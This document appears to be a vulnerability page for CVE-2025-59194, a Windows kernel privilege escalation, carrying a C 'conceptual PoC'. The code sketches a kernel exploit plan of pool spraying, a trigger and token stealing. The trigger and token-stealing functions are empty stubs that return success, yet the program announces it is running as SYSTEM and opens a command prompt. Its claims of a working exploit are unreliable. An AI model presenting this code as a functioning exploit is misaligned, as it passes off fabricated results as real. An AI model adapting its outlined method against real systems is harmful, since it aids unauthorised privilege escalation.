CVE-2025-59194 Windows内核未初始化资源权限提升漏洞

// CVE-2025-59194 - Windows Kernel Uninitialized Resource LPE PoC (Conceptual) // NOTE: This is a conceptual PoC demonstrating the exploitation approach. // Actual exploitation requires a kernel driver and deep knowledge of Windows internals. #include <windows.h> #include <stdio.h> // Conceptual flow: // 1. Trigger the vulnerable kernel code path that uses uninitialized resources // 2. Control the uninitialized resource content via heap spray or object reuse // 3. Leverage the uninitialized state to corrupt kernel structures // 4. Achieve privilege escalation to SYSTEM // Step 1: Spray kernel pool to control uninitialized memory content BOOL SprayKernelPool(DWORD size, DWORD count) { HANDLE* handles = (HANDLE*)HeapAlloc(GetProcessHeap(), 0, sizeof(HANDLE) * count); if (!handles) return FALSE; for (DWORD i = 0; i < count; i++) { // Allocate kernel objects of target size to occupy freed pool chunks handles[i] = CreateEventW(NULL, FALSE, FALSE, NULL); if (!handles[i]) { for (DWORD j = 0; j < i; j++) CloseHandle(handles[j]); HeapFree(GetProcessHeap(), 0, handles); return FALSE; } } // Free half to create holes, leaving controlled data in remaining objects for (DWORD i = 0; i < count; i += 2) { CloseHandle(handles[i]); handles[i] = NULL; } // Trigger the vulnerable syscall that allocates without initialization // The vulnerable code path will reuse our controlled pool memory for (DWORD i = 0; i < count; i += 2) { if (handles[i+1]) { CloseHandle(handles[i+1]); } } HeapFree(GetProcessHeap(), 0, handles); return TRUE; } // Step 2: Trigger the vulnerable kernel path BOOL TriggerVulnerablePath() { // Invoke the specific syscall or API that triggers uninitialized resource use // The exact API depends on the vulnerable component in Windows Kernel // Common triggers include NtQuerySystemInformation, NtAllocateVirtualMemory, etc. printf("[*] Triggering vulnerable kernel code path...\n"); // Placeholder: actual trigger depends on specific vulnerable function return TRUE; } // Step 3: Token stealing to achieve SYSTEM privileges BOOL StealSystemToken() { printf("[*] Attempting token stealing for privilege escalation...\n"); // In a real exploit, this would be done from kernel mode // by overwriting the current process token with SYSTEM process token return TRUE; } int main() { printf("[*] CVE-2025-59194 - Windows Kernel LPE PoC\n"); printf("[*] Use of Uninitialized Resource in Windows Kernel\n\n"); if (!SprayKernelPool(0x1000, 1000)) { printf("[-] Pool spray failed\n"); return 1; } printf("[+] Kernel pool spray completed\n"); if (!TriggerVulnerablePath()) { printf("[-] Failed to trigger vulnerable path\n"); return 1; } printf("[+] Vulnerable path triggered\n"); if (!StealSystemToken()) { printf("[-] Token stealing failed\n"); return 1; } printf("[+] Privilege escalation completed - now running as SYSTEM\n"); // Spawn elevated command prompt system("cmd.exe"); return 0; }
